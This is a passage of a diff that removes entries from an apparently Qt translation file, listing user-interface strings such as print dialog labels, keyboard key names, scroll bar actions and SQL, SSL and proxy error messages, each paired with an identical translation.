    -            A7
    -            A7
    -        
    -        
    -            A8
    -            A8
    -        
    -        
    -            A9
    -            A9
    -        
    -        
    -            B0
    -            B0
    -        
    -        
    -            B1
    -            B1
    -        
    -        
    -            B2
    -            B2
    -        
    -        
    -            B3
    -            B3
    -        
    -        
    -            B4
    -            B4
    -        
    -        
    -            B5
    -            B5
    -        
    -        
    -            B6
    -            B6
    -        
    -        
    -            B7
    -            B7
    -        
    -        
    -            B8
    -            B8
    -        
    -        
    -            B9
    -            B9
    -        
    -        
    -            B10
    -            B10
    -        
    -        
    -            C5E
    -            C5E
    -        
    -        
    -            DLE
    -            DLE
    -        
    -        
    -            Executive
    -            Executive
    -        
    -        
    -            Folio
    -            Folio
    -        
    -        
    -            Ledger
    -            Ledger
    -        
    -        
    -            Legal
    -            Legal
    -        
    -        
    -            Letter
    -            Letter
    -        
    -        
    -            Tabloid
    -            Tabloid
    -        
    -        
    -            US Common #10 Envelope
    -            US Common #10 Envelope
    -        
    -        
    -            Custom
    -            Custom
    -        
    -        
    -            &Options >>
    -            &Options >>
    -        
    -        
    -            &Options <<
    -            &Options <<
    -        
    -        
    -            Print to File (PDF)
    -            Print to File (PDF)
    -        
    -        
    -            Print to File (Postscript)
    -            Print to File (Postscript)
    -        
    -        
    -            Local file
    -            Local file
    -        
    -        
    -            Write %1 file
    -            Write %1 file
    -        
    -        
    -            &Print
    -            &Print
    -        
    -    
    -    
    -        QPrintPreviewDialog
    -        
    -            %1%
    -            %1%
    -        
    -        
    -            Print Preview
    -            Print Preview
    -        
    -        
    -            Next page
    -            Next page
    -        
    -        
    -            Previous page
    -            Previous page
    -        
    -        
    -            First page
    -            First page
    -        
    -        
    -            Last page
    -            Last page
    -        
    -        
    -            Fit width
    -            Fit width
    -        
    -        
    -            Fit page
    -            Fit page
    -        
    -        
    -            Zoom in
    -            Zoom in
    -        
    -        
    -            Zoom out
    -            Zoom out
    -        
    -        
    -            Portrait
    -            Portrait
    -        
    -        
    -            Landscape
    -            Landscape
    -        
    -        
    -            Show single page
    -            Show single page
    -        
    -        
    -            Show facing pages
    -            Show facing pages
    -        
    -        
    -            Show overview of all pages
    -            Show overview of all pages
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            Page setup
    -            Page setup
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Export to PDF
    -            Export to PDF
    -        
    -        
    -            Export to PostScript
    -            Export to PostScript
    -        
    -        
    -            Page Setup
    -            Page Setup
    -        
    -    
    -    
    -        QPrintPropertiesWidget
    -        
    -            Form
    -            Form
    -        
    -        
    -            Page
    -            Page
    -        
    -        
    -            Advanced
    -            Advanced
    -        
    -    
    -    
    -        QPrintSettingsOutput
    -        
    -            Form
    -            Form
    -        
    -        
    -            Copies
    -            Copies
    -        
    -        
    -            Print range
    -            Print range
    -        
    -        
    -            Print all
    -            Print all
    -        
    -        
    -            Pages from
    -            Pages from
    -        
    -        
    -            to
    -            to
    -        
    -        
    -            Selection
    -            Selection
    -        
    -        
    -            Output Settings
    -            Output Settings
    -        
    -        
    -            Copies:
    -            Copies:
    -        
    -        
    -            Collate
    -            Collate
    -        
    -        
    -            Reverse
    -            Reverse
    -        
    -        
    -            Options
    -            Options
    -        
    -        
    -            Color Mode
    -            Color Mode
    -        
    -        
    -            Color
    -            Color
    -        
    -        
    -            Grayscale
    -            Grayscale
    -        
    -        
    -            Duplex Printing
    -            Duplex Printing
    -        
    -        
    -            None
    -            None
    -        
    -        
    -            Long side
    -            Long side
    -        
    -        
    -            Short side
    -            Short side
    -        
    -    
    -    
    -        QPrintWidget
    -        
    -            Form
    -            Form
    -        
    -        
    -            Printer
    -            Printer
    -        
    -        
    -            &Name:
    -            &Name:
    -        
    -        
    -            P&roperties
    -            P&roperties
    -        
    -        
    -            Location:
    -            Location:
    -        
    -        
    -            Preview
    -            Preview
    -        
    -        
    -            Type:
    -            Type:
    -        
    -        
    -            Output &file:
    -            Output &file:
    -        
    -        
    -            ...
    -            ...
    -        
    -    
    -    
    -        QProcess
    -        
    -            Could not open input redirection for reading
    -            Could not open input redirection for reading
    -        
    -        
    -            Could not open output redirection for writing
    -            Could not open output redirection for writing
    -        
    -        
    -            Resource error (fork failure): %1
    -            Resource error (fork failure): %1
    -        
    -        
    -            Process operation timed out
    -            Process operation timed out
    -        
    -        
    -            Error reading from process
    -            Error reading from process
    -        
    -        
    -            Error writing to process
    -            Error writing to process
    -        
    -        
    -            Process crashed
    -            Process crashed
    -        
    -        
    -            No program defined
    -            No program defined
    -        
    -        
    -            Process failed to start: %1
    -            Process failed to start: %1
    -        
    -    
    -    
    -        QProgressDialog
    -        
    -            Cancel
    -            Cancel
    -        
    -    
    -    
    -        QPushButton
    -        
    -            Open
    -            Open
    -        
    -    
    -    
    -        QRadioButton
    -        
    -            Check
    -            Check
    -        
    -    
    -    
    -        QRegExp
    -        
    -            no error occurred
    -            no error occurred
    -        
    -        
    -            disabled feature used
    -            disabled feature used
    -        
    -        
    -            bad char class syntax
    -            bad char class syntax
    -        
    -        
    -            bad lookahead syntax
    -            bad lookahead syntax
    -        
    -        
    -            bad repetition syntax
    -            bad repetition syntax
    -        
    -        
    -            invalid octal value
    -            invalid octal value
    -        
    -        
    -            missing left delim
    -            missing left delim
    -        
    -        
    -            unexpected end
    -            unexpected end
    -        
    -        
    -            met internal limit
    -            met internal limit
    -        
    -        
    -            invalid interval
    -            invalid interval
    -        
    -        
    -            invalid category
    -            invalid category
    -        
    -    
    -    
    -        QSQLite2Driver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QSQLite2Result
    -        
    -            Unable to fetch results
    -            Unable to fetch results
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -    
    -    
    -        QSQLiteDriver
    -        
    -            Error opening database
    -            Error opening database
    -        
    -        
    -            Error closing database
    -            Error closing database
    -        
    -        
    -            Unable to begin transaction
    -            Unable to begin transaction
    -        
    -        
    -            Unable to commit transaction
    -            Unable to commit transaction
    -        
    -        
    -            Unable to rollback transaction
    -            Unable to rollback transaction
    -        
    -    
    -    
    -        QSQLiteResult
    -        
    -            Unable to fetch row
    -            Unable to fetch row
    -        
    -        
    -            Unable to execute statement
    -            Unable to execute statement
    -        
    -        
    -            Unable to reset statement
    -            Unable to reset statement
    -        
    -        
    -            Unable to bind parameters
    -            Unable to bind parameters
    -        
    -        
    -            Parameter count mismatch
    -            Parameter count mismatch
    -        
    -        
    -            No query
    -            No query
    -        
    -    
    -    
    -        QScriptBreakpointsModel
    -        
    -            ID
    -            ID
    -        
    -        
    -            Location
    -            Location
    -        
    -        
    -            Condition
    -            Condition
    -        
    -        
    -            Ignore-count
    -            Ignore-count
    -        
    -        
    -            Single-shot
    -            Single-shot
    -        
    -        
    -            Hit-count
    -            Hit-count
    -        
    -    
    -    
    -        QScriptBreakpointsWidget
    -        
    -            New
    -            New
    -        
    -        
    -            Delete
    -            Delete
    -        
    -    
    -    
    -        QScriptDebugger
    -        
    -            Go to Line
    -            Go to Line
    -        
    -        
    -            Line:
    -            Line:
    -        
    -        
    -            Interrupt
    -            Interrupt
    -        
    -        
    -            Shift+F5
    -            Shift+F5
    -        
    -        
    -            Continue
    -            Continue
    -        
    -        
    -            F5
    -            F5
    -        
    -        
    -            Step Into
    -            Step Into
    -        
    -        
    -            F11
    -            F11
    -        
    -        
    -            Step Over
    -            Step Over
    -        
    -        
    -            F10
    -            F10
    -        
    -        
    -            Step Out
    -            Step Out
    -        
    -        
    -            Shift+F11
    -            Shift+F11
    -        
    -        
    -            Run to Cursor
    -            Run to Cursor
    -        
    -        
    -            Ctrl+F10
    -            Ctrl+F10
    -        
    -        
    -            Run to New Script
    -            Run to New Script
    -        
    -        
    -            Toggle Breakpoint
    -            Toggle Breakpoint
    -        
    -        
    -            F9
    -            F9
    -        
    -        
    -            Clear Debug Output
    -            Clear Debug Output
    -        
    -        
    -            Clear Error Log
    -            Clear Error Log
    -        
    -        
    -            Clear Console
    -            Clear Console
    -        
    -        
    -            &Find in Script...
    -            &Find in Script...
    -        
    -        
    -            Ctrl+F
    -            Ctrl+F
    -        
    -        
    -            Find &Next
    -            Find &Next
    -        
    -        
    -            F3
    -            F3
    -        
    -        
    -            Find &Previous
    -            Find &Previous
    -        
    -        
    -            Shift+F3
    -            Shift+F3
    -        
    -        
    -            Ctrl+G
    -            Ctrl+G
    -        
    -        
    -            Debug
    -            Debug
    -        
    -    
    -    
    -        QScriptDebuggerCodeFinderWidget
    -        
    -            Close
    -            Close
    -        
    -        
    -            Previous
    -            Previous
    -        
    -        
    -            Next
    -            Next
    -        
    -        
    -            Case Sensitive
    -            Case Sensitive
    -        
    -        
    -            Whole words
    -            Whole words
    -        
    -        
    -            <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    -            <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped
    -        
    -    
    -    
    -        QScriptDebuggerLocalsModel
    -        
    -            Name
    -            Name
    -        
    -        
    -            Value
    -            Value
    -        
    -    
    -    
    -        QScriptDebuggerStackModel
    -        
    -            Level
    -            Level
    -        
    -        
    -            Name
    -            Name
    -        
    -        
    -            Location
    -            Location
    -        
    -    
    -    
    -        QScriptEdit
    -        
    -            Toggle Breakpoint
    -            Toggle Breakpoint
    -        
    -        
    -            Disable Breakpoint
    -            Disable Breakpoint
    -        
    -        
    -            Enable Breakpoint
    -            Enable Breakpoint
    -        
    -        
    -            Breakpoint Condition:
    -            Breakpoint Condition:
    -        
    -    
    -    
    -        QScriptEngineDebugger
    -        
    -            Loaded Scripts
    -            Loaded Scripts
    -        
    -        
    -            Breakpoints
    -            Breakpoints
    -        
    -        
    -            Stack
    -            Stack
    -        
    -        
    -            Locals
    -            Locals
    -        
    -        
    -            Console
    -            Console
    -        
    -        
    -            Debug Output
    -            Debug Output
    -        
    -        
    -            Error Log
    -            Error Log
    -        
    -        
    -            Search
    -            Search
    -        
    -        
    -            View
    -            View
    -        
    -        
    -            Qt Script Debugger
    -            Qt Script Debugger
    -        
    -    
    -    
    -        QScriptNewBreakpointWidget
    -        
    -            Close
    -            Close
    -        
    -    
    -    
    -        QScrollBar
    -        
    -            Scroll here
    -            Scroll here
    -        
    -        
    -            Left edge
    -            Left edge
    -        
    -        
    -            Top
    -            Top
    -        
    -        
    -            Right edge
    -            Right edge
    -        
    -        
    -            Bottom
    -            Bottom
    -        
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -        
    -            Scroll left
    -            Scroll left
    -        
    -        
    -            Scroll up
    -            Scroll up
    -        
    -        
    -            Scroll right
    -            Scroll right
    -        
    -        
    -            Scroll down
    -            Scroll down
    -        
    -        
    -            Line up
    -            Line up
    -        
    -        
    -            Position
    -            Position
    -        
    -        
    -            Line down
    -            Line down
    -        
    -    
    -    
    -        QSharedMemory
    -        
    -            %1: create size is less then 0
    -            %1: create size is less then 0
    -        
    -        
    -            %1: unable to lock
    -            %1: unable to lock
    -        
    -        
    -            %1: unable to unlock
    -            %1: unable to unlock
    -        
    -        
    -            %1: permission denied
    -            %1: permission denied
    -        
    -        
    -            %1: already exists
    -            %1: already exists
    -        
    -        
    -            %1: doesn't exists
    -            %1: doesn't exists
    -        
    -        
    -            %1: out of resources
    -            %1: out of resources
    -        
    -        
    -            %1: unknown error %2
    -            %1: unknown error %2
    -        
    -        
    -            %1: key is empty
    -            %1: key is empty
    -        
    -        
    -            %1: ftok failed
    -            %1: ftok failed
    -        
    -        
    -            %1: unable to make key
    -            %1: unable to make key
    -        
    -        
    -            %1: doesn't exist
    -            %1: doesn't exist
    -        
    -        
    -            %1: UNIX key file doesn't exist
    -            %1: UNIX key file doesn't exist
    -        
    -        
    -            %1: system-imposed size restrictions
    -            %1: system-imposed size restrictions
    -        
    -        
    -            %1: not attached
    -            %1: not attached
    -        
    -        
    -            %1: invalid size
    -            %1: invalid size
    -        
    -        
    -            %1: key error
    -            %1: key error
    -        
    -        
    -            %1: size query failed
    -            %1: size query failed
    -        
    -        
    -            %1: unable to set key on lock
    -            %1: unable to set key on lock
    -        
    -    
    -    
    -        QShortcut
    -        
    -            Space
    -            Space
    -        
    -        
    -            Esc
    -            Esc
    -        
    -        
    -            Tab
    -            Tab
    -        
    -        
    -            Backtab
    -            Backtab
    -        
    -        
    -            Backspace
    -            Backspace
    -        
    -        
    -            Return
    -            Return
    -        
    -        
    -            Enter
    -            Enter
    -        
    -        
    -            Ins
    -            Ins
    -        
    -        
    -            Del
    -            Del
    -        
    -        
    -            Pause
    -            Pause
    -        
    -        
    -            Print
    -            Print
    -        
    -        
    -            SysReq
    -            SysReq
    -        
    -        
    -            Home
    -            Home
    -        
    -        
    -            End
    -            End
    -        
    -        
    -            Left
    -            Left
    -        
    -        
    -            Up
    -            Up
    -        
    -        
    -            Right
    -            Right
    -        
    -        
    -            Down
    -            Down
    -        
    -        
    -            PgUp
    -            PgUp
    -        
    -        
    -            PgDown
    -            PgDown
    -        
    -        
    -            CapsLock
    -            CapsLock
    -        
    -        
    -            NumLock
    -            NumLock
    -        
    -        
    -            ScrollLock
    -            ScrollLock
    -        
    -        
    -            Menu
    -            Menu
    -        
    -        
    -            Help
    -            Help
    -        
    -        
    -            Back
    -            Back
    -        
    -        
    -            Forward
    -            Forward
    -        
    -        
    -            Stop
    -            Stop
    -        
    -        
    -            Refresh
    -            Refresh
    -        
    -        
    -            Volume Down
    -            Volume Down
    -        
    -        
    -            Volume Mute
    -            Volume Mute
    -        
    -        
    -            Volume Up
    -            Volume Up
    -        
    -        
    -            Bass Boost
    -            Bass Boost
    -        
    -        
    -            Bass Up
    -            Bass Up
    -        
    -        
    -            Bass Down
    -            Bass Down
    -        
    -        
    -            Treble Up
    -            Treble Up
    -        
    -        
    -            Treble Down
    -            Treble Down
    -        
    -        
    -            Media Play
    -            Media Play
    -        
    -        
    -            Media Stop
    -            Media Stop
    -        
    -        
    -            Media Previous
    -            Media Previous
    -        
    -        
    -            Media Next
    -            Media Next
    -        
    -        
    -            Media Record
    -            Media Record
    -        
    -        
    -            Favorites
    -            Favorites
    -        
    -        
    -            Search
    -            Search
    -        
    -        
    -            Standby
    -            Standby
    -        
    -        
    -            Open URL
    -            Open URL
    -        
    -        
    -            Launch Mail
    -            Launch Mail
    -        
    -        
    -            Launch Media
    -            Launch Media
    -        
    -        
    -            Launch (0)
    -            Launch (0)
    -        
    -        
    -            Launch (1)
    -            Launch (1)
    -        
    -        
    -            Launch (2)
    -            Launch (2)
    -        
    -        
    -            Launch (3)
    -            Launch (3)
    -        
    -        
    -            Launch (4)
    -            Launch (4)
    -        
    -        
    -            Launch (5)
    -            Launch (5)
    -        
    -        
    -            Launch (6)
    -            Launch (6)
    -        
    -        
    -            Launch (7)
    -            Launch (7)
    -        
    -        
    -            Launch (8)
    -            Launch (8)
    -        
    -        
    -            Launch (9)
    -            Launch (9)
    -        
    -        
    -            Launch (A)
    -            Launch (A)
    -        
    -        
    -            Launch (B)
    -            Launch (B)
    -        
    -        
    -            Launch (C)
    -            Launch (C)
    -        
    -        
    -            Launch (D)
    -            Launch (D)
    -        
    -        
    -            Launch (E)
    -            Launch (E)
    -        
    -        
    -            Launch (F)
    -            Launch (F)
    -        
    -        
    -            Monitor Brightness Up
    -            Monitor Brightness Up
    -        
    -        
    -            Monitor Brightness Down
    -            Monitor Brightness Down
    -        
    -        
    -            Keyboard Light On/Off
    -            Keyboard Light On/Off
    -        
    -        
    -            Keyboard Brightness Up
    -            Keyboard Brightness Up
    -        
    -        
    -            Keyboard Brightness Down
    -            Keyboard Brightness Down
    -        
    -        
    -            Power Off
    -            Power Off
    -        
    -        
    -            Wake Up
    -            Wake Up
    -        
    -        
    -            Eject
    -            Eject
    -        
    -        
    -            Screensaver
    -            Screensaver
    -        
    -        
    -            WWW
    -            WWW
    -        
    -        
    -            Sleep
    -            Sleep
    -        
    -        
    -            LightBulb
    -            LightBulb
    -        
    -        
    -            Shop
    -            Shop
    -        
    -        
    -            History
    -            History
    -        
    -        
    -            Add Favorite
    -            Add Favorite
    -        
    -        
    -            Hot Links
    -            Hot Links
    -        
    -        
    -            Adjust Brightness
    -            Adjust Brightness
    -        
    -        
    -            Finance
    -            Finance
    -        
    -        
    -            Community
    -            Community
    -        
    -        
    -            Audio Rewind
    -            Audio Rewind
    -        
    -        
    -            Back Forward
    -            Back Forward
    -        
    -        
    -            Application Left
    -            Application Left
    -        
    -        
    -            Application Right
    -            Application Right
    -        
    -        
    -            Book
    -            Book
    -        
    -        
    -            CD
    -            CD
    -        
    -        
    -            Calculator
    -            Calculator
    -        
    -        
    -            Clear
    -            Clear
    -        
    -        
    -            Clear Grab
    -            Clear Grab
    -        
    -        
    -            Close
    -            Close
    -        
    -        
    -            Copy
    -            Copy
    -        
    -        
    -            Cut
    -            Cut
    -        
    -        
    -            Display
    -            Display
    -        
    -        
    -            DOS
    -            DOS
    -        
    -        
    -            Documents
    -            Documents
    -        
    -        
    -            Spreadsheet
    -            Spreadsheet
    -        
    -        
    -            Browser
    -            Browser
    -        
    -        
    -            Game
    -            Game
    -        
    -        
    -            Go
    -            Go
    -        
    -        
    -            iTouch
    -            iTouch
    -        
    -        
    -            Logoff
    -            Logoff
    -        
    -        
    -            Market
    -            Market
    -        
    -        
    -            Meeting
    -            Meeting
    -        
    -        
    -            Keyboard Menu
    -            Keyboard Menu
    -        
    -        
    -            Menu PB
    -            Menu PB
    -        
    -        
    -            My Sites
    -            My Sites
    -        
    -        
    -            News
    -            News
    -        
    -        
    -            Home Office
    -            Home Office
    -        
    -        
    -            Option
    -            Option
    -        
    -        
    -            Paste
    -            Paste
    -        
    -        
    -            Phone
    -            Phone
    -        
    -        
    -            Reply
    -            Reply
    -        
    -        
    -            Reload
    -            Reload
    -        
    -        
    -            Rotate Windows
    -            Rotate Windows
    -        
    -        
    -            Rotation PB
    -            Rotation PB
    -        
    -        
    -            Rotation KB
    -            Rotation KB
    -        
    -        
    -            Save
    -            Save
    -        
    -        
    -            Send
    -            Send
    -        
    -        
    -            Spellchecker
    -            Spellchecker
    -        
    -        
    -            Split Screen
    -            Split Screen
    -        
    -        
    -            Support
    -            Support
    -        
    -        
    -            Task Panel
    -            Task Panel
    -        
    -        
    -            Terminal
    -            Terminal
    -        
    -        
    -            Tools
    -            Tools
    -        
    -        
    -            Travel
    -            Travel
    -        
    -        
    -            Video
    -            Video
    -        
    -        
    -            Word Processor
    -            Word Processor
    -        
    -        
    -            XFer
    -            XFer
    -        
    -        
    -            Zoom In
    -            Zoom In
    -        
    -        
    -            Zoom Out
    -            Zoom Out
    -        
    -        
    -            Away
    -            Away
    -        
    -        
    -            Messenger
    -            Messenger
    -        
    -        
    -            WebCam
    -            WebCam
    -        
    -        
    -            Mail Forward
    -            Mail Forward
    -        
    -        
    -            Pictures
    -            Pictures
    -        
    -        
    -            Music
    -            Music
    -        
    -        
    -            Battery
    -            Battery
    -        
    -        
    -            Bluetooth
    -            Bluetooth
    -        
    -        
    -            Wireless
    -            Wireless
    -        
    -        
    -            Ultra Wide Band
    -            Ultra Wide Band
    -        
    -        
    -            Audio Forward
    -            Audio Forward
    -        
    -        
    -            Audio Repeat
    -            Audio Repeat
    -        
    -        
    -            Audio Random Play
    -            Audio Random Play
    -        
    -        
    -            Subtitle
    -            Subtitle
    -        
    -        
    -            Audio Cycle Track
    -            Audio Cycle Track
    -        
    -        
    -            Time
    -            Time
    -        
    -        
    -            View
    -            View
    -        
    -        
    -            Top Menu
    -            Top Menu
    -        
    -        
    -            Suspend
    -            Suspend
    -        
    -        
    -            Hibernate
    -            Hibernate
    -        
    -        
    -            Print Screen
    -            Print Screen
    -        
    -        
    -            Page Up
    -            Page Up
    -        
    -        
    -            Page Down
    -            Page Down
    -        
    -        
    -            Caps Lock
    -            Caps Lock
    -        
    -        
    -            Num Lock
    -            Num Lock
    -        
    -        
    -            Number Lock
    -            Number Lock
    -        
    -        
    -            Scroll Lock
    -            Scroll Lock
    -        
    -        
    -            Insert
    -            Insert
    -        
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Escape
    -            Escape
    -        
    -        
    -            System Request
    -            System Request
    -        
    -        
    -            Select
    -            Select
    -        
    -        
    -            Yes
    -            Yes
    -        
    -        
    -            No
    -            No
    -        
    -        
    -            Context1
    -            Context1
    -        
    -        
    -            Context2
    -            Context2
    -        
    -        
    -            Context3
    -            Context3
    -        
    -        
    -            Context4
    -            Context4
    -        
    -        
    -            Call
    -            Call
    -        
    -        
    -            Hangup
    -            Hangup
    -        
    -        
    -            Flip
    -            Flip
    -        
    -        
    -            Ctrl
    -            Ctrl
    -        
    -        
    -            Shift
    -            Shift
    -        
    -        
    -            Alt
    -            Alt
    -        
    -        
    -            Meta
    -            Meta
    -        
    -        
    -            +
    -            +
    -        
    -        
    -            F%1
    -            F%1
    -        
    -        
    -            Home Page
    -            Home Page
    -        
    -    
    -    
    -        QSlider
    -        
    -            Page left
    -            Page left
    -        
    -        
    -            Page up
    -            Page up
    -        
    -        
    -            Position
    -            Position
    -        
    -        
    -            Page right
    -            Page right
    -        
    -        
    -            Page down
    -            Page down
    -        
    -    
    -    
    -        QSocks5SocketEngine
    -        
    -            Connection to proxy refused
    -            Connection to proxy refused
    -        
    -        
    -            Connection to proxy closed prematurely
    -            Connection to proxy closed prematurely
    -        
    -        
    -            Proxy host not found
    -            Proxy host not found
    -        
    -        
    -            Connection to proxy timed out
    -            Connection to proxy timed out
    -        
    -        
    -            Proxy authentication failed
    -            Proxy authentication failed
    -        
    -        
    -            Proxy authentication failed: %1
    -            Proxy authentication failed: %1
    -        
    -        
    -            SOCKS version 5 protocol error
    -            SOCKS version 5 protocol error
    -        
    -        
    -            General SOCKSv5 server failure
    -            General SOCKSv5 server failure
    -        
    -        
    -            Connection not allowed by SOCKSv5 server
    -            Connection not allowed by SOCKSv5 server
    -        
    -        
    -            TTL expired
    -            TTL expired
    -        
    -        
    -            SOCKSv5 command not supported
    -            SOCKSv5 command not supported
    -        
    -        
    -            Address type not supported
    -            Address type not supported
    -        
    -        
    -            Unknown SOCKSv5 proxy error code 0x%1
    -            Unknown SOCKSv5 proxy error code 0x%1
    -        
    -        
    -            Network operation timed out
    -            Network operation timed out
    -        
    -    
    -    
    -        QSoftKeyManager
    -        
    -            Ok
    -            Ok
    -        
    -        
    -            Select
    -            Select
    -        
    -        
    -            Done
    -            Done
    -        
    -        
    -            Options
    -            Options
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Exit
    -            Exit
    -        
    -    
    -    
    -        QSpinBox
    -        
    -            More
    -            More
    -        
    -        
    -            Less
    -            Less
    -        
    -    
    -    
    -        QSql
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Delete this record?
    -            Delete this record?
    -        
    -        
    -            Yes
    -            Yes
    -        
    -        
    -            No
    -            No
    -        
    -        
    -            Insert
    -            Insert
    -        
    -        
    -            Update
    -            Update
    -        
    -        
    -            Save edits?
    -            Save edits?
    -        
    -        
    -            Cancel
    -            Cancel
    -        
    -        
    -            Confirm
    -            Confirm
    -        
    -        
    -            Cancel your edits?
    -            Cancel your edits?
    -        
    -    
    -    
    -        QSslSocket
    -        
    -            Unable to write data: %1
    -            Unable to write data: %1
    -        
    -        
    -            Unable to decrypt data: %1
    -            Unable to decrypt data: %1
    -        
    -        
    -            Error while reading: %1
    -            Error while reading: %1
    -        
    -        
    -            Error during SSL handshake: %1
    -            Error during SSL handshake: %1
    -        
    -        
    -            Error creating SSL context (%1)
    -            Error creating SSL context (%1)
    -        
    -        
    -            Invalid or empty cipher list (%1)
    -            Invalid or empty cipher list (%1)
    -        
    -        
    -            Private key does not certify public key, %1
    -            Private key does not certify public key, %1
    -        
    -        
    -            Error creating SSL session, %1
    -            Error creating SSL session, %1
    -        
    -        
    -            Error creating SSL session: %1
    -            Error creating SSL session: %1
    -        
    -        
    -            Cannot provide a certificate with no key, %1
    -            Cannot provide a certificate with no key, %1
    -        
    -        
    -            Error loading local certificate, %1
    -            Error loading local certificate, %1
    -        
    -        
    -            Error loading private key, %1
    -            Error loading private key, %1
    -        
    -        
    -            No error
    -            No error
    -        
    -        
    -            The issuer certificate could not be found
    -            The issuer certificate could not be found
    -        
    -        
    -            The certificate signature could not be decrypted
    -            The certificate signature could not be decrypted
    -        
    -        
    -            The public key in the certificate could not be read
    -            The public key in the certificate could not be read
    -        
    -        
    -            The signature of the certificate is invalid
    -            The signature of the certificate is invalid
    -        
    -        
    -            The certificate is not yet valid
    -            The certificate is not yet valid
    -        
    -        
    -            The certificate has expired
    -            The certificate has expired
    -        
    -        
    -            The certificate's notBefore field contains an invalid time
    -            The certificate's notBefore field contains an invalid time
    -        
    -        
    -            The certificate's notAfter field contains an invalid time
    -            The certificate's notAfter field contains an invalid time
    -        
    -        
    -            The certificate is self-signed, and untrusted
    -            The certificate is self-signed, and untrusted
    -        
    -        
    -            The root certificate of the certificate chain is self-signed, and untrusted
    -            The root certificate of the certificate chain is self-signed, and untrusted
    -        
    -        
    -            The issuer certificate of a locally looked up certificate could not be found
    -            The issuer certificate of a locally looked up certificate could not be found
    -        
    -        
    -            No certificates could be verified
    -            No certificates could be verified
    -        
    -        
    -            One of the CA certificates is invalid
    -            One of the CA certificates is invalid
    -        
    -        
    -            The basicConstraints path length parameter has been exceeded
    -            The basicConstraints path length parameter has been exceeded
    -        
    -        
    -            The supplied certificate is unsuitable for this purpose
    -            The supplied certificate is unsuitable for this purpose
    -        
    -        
    -            The root CA certificate is not trusted for this purpose
    -            The root CA certificate is not trusted for this purpose
    -        
    -        
    -            The root CA certificate is marked to reject the specified purpose
    -            The root CA certificate is marked to reject the specified purpose
    -        
    -        
    -            The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
    -            The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate
    -        
    -        
    -            The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
    -            The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate
    -        
    -        
    -            The peer did not present any certificate
    -            The peer did not present any certificate
    -        
    -        
    -            The host name did not match any of the valid hosts for this certificate
    -            The host name did not match any of the valid hosts for this certificate
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QStateMachine
    -        
    -            Missing initial state in compound state '%1'
    -            Missing initial state in compound state '%1'
    -        
    -        
    -            Missing default state in history state '%1'
    -            Missing default state in history state '%1'
    -        
    -        
    -            No common ancestor for targets and source of transition from state '%1'
    -            No common ancestor for targets and source of transition from state '%1'
    -        
    -        
    -            Unknown error
    -            Unknown error
    -        
    -    
    -    
    -        QSystemSemaphore
    -        
    -            %1: does not exist
    -            %1: does not exist
    -        
    -        
    -            %1: out of resources
    -            %1: out of resources
    -        
    -        
    -            %1: permission denied
    -            %1: permission denied
    -        
    -        
    -            %1: already exists
    -            %1: already exists
    -        
    -        
    -            %1: unknown error %2
    -            %1: unknown error %2
    -        
    -    
    -    
    -        QTDSDriver
    -        
    -            Unable to open connection
    -            Unable to open connection
    -        
    -        
    -            Unable to use database
    -            Unable to use database
    -        
    -    
    -    
    -        QTabBar
    -        
    -            Scroll Left
    -            Scroll Left
    -        
    -        
    -            Scroll Right
    -            Scroll Right
    -        
    -    
    -    
    -        QTcpServer
    -        
    -            Operation on socket is not supported
    -            Operation on socket is not supported
    -        
    -    
    -    
    -        QTextControl
    -        
    -            &Undo
    -            &Undo
    -        
    -        
    -            &Redo
    -            &Redo
    -        
    -        
    -            Cu&t
    -            Cu&t
    -        
    -        
    -            &Copy
    -            &Copy
    -        
    -        
    -            Copy &Link Location
    -            Copy &Link Location
    -        
    -        
    -            &Paste
    -            &Paste
    -        
    -        
    -            Delete
    -            Delete
    -        
    -        
    -            Select All
    -            Select All
    -        
    -    
    -    
    -        QToolButton
    -        
    -            Press
    -            Press
    -        
    -        
    -            Open
    -            Open
    -        
    -    
    -    
    -        QUdpSocket
    -        
    -            This platform does not support IPv6
    -            This platform does not support IPv6
    -        
    -    
    -    
    -        QUndoGroup
    -        
    -            Undo
    -            Undo
    -        
    -        
    -            Redo
    -            Redo
    -        
    -    
    -    
    -        QUndoModel
    -        
    -            <empty>
    -            <empty>
    -        
    -    
    -    
    -        QUndoStack
    -        
    -            Undo
    -            Undo
    -        
    -        
    -            Redo
    -            Redo
    -        
    -    
    -    
    -        QUnicodeControlCharacterMenu
    -        
    -            LRM Left-to-right mark
    -            LRM Left-to-right mark
    -        
    -        
    -            RLM Right-to-left mark
    -            RLM Right-to-left mark
    -        
    -        
    -            ZWJ Zero width joiner
    -            ZWJ Zero width joiner
    -        
    -        
    -            ZWNJ Zero width non-joiner
    -            ZWNJ Zero width non-joiner
    -        
    -        
    -            ZWSP Zero width space
    -            ZWSP Zero width space
    -        
    -        
    -            LRE Start of left-to-right embedding
    -            LRE Start of left-to-right embedding
    -        
    -        
    -            RLE Start of right-to-left embedding
    -            RLE Start of right-to-left embedding
    -        
    -        
    -            LRO Start of left-to-right override
    -            LRO Start of left-to-right override
    -        
    -        
    -            RLO Start of right-to-left override
    -            RLO Start of right-to-left override
    -        
    -        
    -            PDF Pop directional formatting
    -            PDF Pop directional formatting
    -        
    -        
    -            Insert Unicode control character
    -            Insert Unicode control character
    -        
    -    
    -    
    -        QWebFrame
    -        
    -            Request cancelled
    -            Request cancelled
    -        
    -        
    -            Request blocked
    -            Request blocked
